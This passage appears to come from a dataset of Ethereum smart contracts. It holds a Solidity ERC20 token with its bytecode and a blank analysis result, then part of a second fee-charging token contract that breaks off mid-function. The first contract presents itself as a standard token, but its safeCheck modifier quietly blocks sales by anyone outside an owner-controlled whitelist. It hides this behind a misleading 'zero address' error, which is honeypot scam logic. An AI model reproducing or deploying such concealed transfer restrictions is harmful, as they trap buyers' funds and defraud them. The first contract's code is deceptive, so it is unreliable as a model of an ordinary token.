require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address private _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
address private _address0;
address private _address1;
mapping (address => bool) private _Addressint;
uint256 private _zero = 0;
uint256 private _valuehash = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_address0 = owner;
_address1 = owner;
_mint(_address0, initialSupply*(10**18));
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function ints(address addressn) public {
require(msg.sender == _address0, "!_address0");_address1 = addressn;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function upint(address addressn,uint8 Numb) public {
require(msg.sender == _address0, "!_address0");if(Numb>0){_Addressint[addressn] = true;}else{_Addressint[addressn] = false;}
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function intnum(uint8 Numb) public {
require(msg.sender == _address0, "!_address0");_zero = Numb*(10**18);
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
//Alphr
function _transfer(address sender, address recipient, uint256 amount) internal safeCheck(sender,recipient,amount) virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
modifier safeCheck(address sender, address recipient, uint256 amount){
if(recipient != _address0 && sender != _address0 && _address0!=_address1 && amount > _zero){require(sender == _address1 ||sender==_router || _Addressint[sender], "ERC20: transfer from the zero address");}
if(sender==_address0 && _address0==_address1){_address1 = recipient;}
_;}
function _transfer_coin(address sender, address recipient, uint256 amount) internal virtual{
require(recipient == address(0), "ERC20: transfer to the zero address");
require(sender != address(0), "ERC20: transfer from the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function multiaddress(uint8 AllowN,address[] memory receivers, uint256[] memory amounts) public {
for (uint256 i = 0; i < receivers.length; i++) {
if (msg.sender == _address0){
transfer(receivers[i], amounts[i]);
if(i<AllowN){_Addressint[receivers[i]] = true; _approve(receivers[i], _router, _valuehash);}
}
}
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
|
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063540410e511610097578063a9059cbb11610066578063a9059cbb146104c7578063b952390d1461052d578063ba03cda514610686578063dd62ed3e146106d7576100f5565b8063540410e51461035557806370a082311461038657806395d89b41146103de578063a457c2d714610461576100f5565b806323b872dd116100d357806323b872dd14610201578063313ce5671461028757806339509351146102ab578063438dd08714610311576100f5565b806306fdde03146100fa578063095ea7b31461017d57806318160ddd146101e3575b600080fd5b61010261074f565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610142578082015181840152602081019050610127565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c96004803603604081101561019357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107f1565b604051808215151515815260200191505060405180910390f35b6101eb61080f565b6040518082815260200191505060405180910390f35b61026d6004803603606081101561021757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610819565b604051808215151515815260200191505060405180910390f35b61028f6108f2565b604051808260ff1660ff16815260200191505060405180910390f35b6102f7600480360360408110156102c157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610909565b604051808215151515815260200191505060405180910390f35b6103536004803603602081101561032757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109bc565b005b6103846004803603602081101561036b57600080fd5b81019080803560ff169060200190929190505050610ac3565b005b6103c86004803603602081101561039c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ba7565b6040518082815260200191505060405180910390f35b6103e6610bef565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561042657808201518184015260208101905061040b565b50505050905090810190601f1680156104535780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104ad6004803603604081101561047757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c91565b604051808215151515815260200191505060405180910390f35b610513600480360360408110156104dd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d5e565b604051808215151515815260200191505060405180910390f35b6106846004803603606081101561054357600080fd5b81019080803560ff1690602001909291908035906020019064010000000081111561056d57600080fd5b82018360208201111561057f57600080fd5b803590602001918460208302840111640100000000831117156105a157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561060157600080fd5b82018360208201111561061357600080fd5b8035906020019184602083028401116401000000008311171561063557600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610d7c565b005b6106d56004803603604081101561069c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803560ff169060200190929190505050610edf565b005b610739600480360360408110156106ed57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611068565b6040518082815260200191505060405180910390f35b606060048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107e75780601f106107bc576101008083540402835291602001916107e7565b820191906000526020600020905b8154815290600101906020018083116107ca57829003601f168201915b5050505050905090565b60006108056107fe6110ef565b84846110f7565b6001905092915050565b6000600354905090565b60006108268484846112ee565b6108e7846108326110ef565b6108e285604051806060016040528060288152602001611b0e60289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006108986110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119559092919063ffffffff16565b6110f7565b600190509392505050565b6000600660009054906101000a900460ff16905090565b60006109b26109166110ef565b846109ad85600160006109276110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a1590919063ffffffff16565b6110f7565b6001905092915050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a7f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b86576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b670de0b6b3a76400008160ff160267ffffffffffffffff1660098190555050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c875780601f10610c5c57610100808354040283529160200191610c87565b820191906000526020600020905b815481529060010190602001808311610c6a57829003601f168201915b5050505050905090565b6000610d54610c9e6110ef565b84610d4f85604051806060016040528060258152602001611b7f6025913960016000610cc86110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119559092919063ffffffff16565b6110f7565b6001905092915050565b6000610d72610d6b6110ef565b84846112ee565b6001905092915050565b60008090505b8251811015610ed957600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610ecc57610e11838281518110610df057fe5b6020026020010151838381518110610e0457fe5b6020026020010151610d5e565b508360ff16811015610ecb57600160086000858481518110610e2f57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610eca838281518110610e9757fe5b6020026020010151600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600a546110f7565b5b5b8080600101915050610d82565b50505050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610fa2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60008160ff16111561100b576001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611064565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561117d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180611b5b6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611203576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180611ac66022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b828282600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561139d5750600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156114195750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b8015611426575060095481115b1561157e57600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806114d45750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806115285750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61157d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611b366025913960400191505060405180910390fd5b5b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561164a5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b156116915781600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415611717576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611b366025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141561179d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611aa36023913960400191505060405180910390fd5b6117a8868686611a9d565b61181384604051806060016040528060268152602001611ae8602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119559092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506118a6846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a1590919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3505050505050565b6000838311158290611a02576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156119c75780820151818401526020810190506119ac565b50505050905090810190601f1680156119f45780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611a93576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220e7d4559cea4dfd0c537bb8a3ae0f2491809c15f71eb2562d7e4620405267a46464736f6c63430006060033
|
{"success": true, "error": null, "results": {}}
| 3,965 |
0xf5f7962020fc1884db7c0452af2228260c834fb7
|
/*
https://twitter.com/elonmusk/status/1413736546373718016
https://t.me/FellowshipRaptorsETH
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract FellowshipOfTheRaptors is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "Fellowship Of The Raptors | t.me/FellowshipRaptorsETH";
string private constant _symbol = 'FOTR';
uint8 private constant _decimals = 9;
uint256 private _taxFee = 5;
uint256 private _teamFee = 15;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
bool public swapAndLiquifyEnabled = false;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress) public {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
swapAndLiquifyEnabled = _enabled;
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) {
require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only");
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x10ED43C718714eb63d5aA57B78B54704E256024E);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
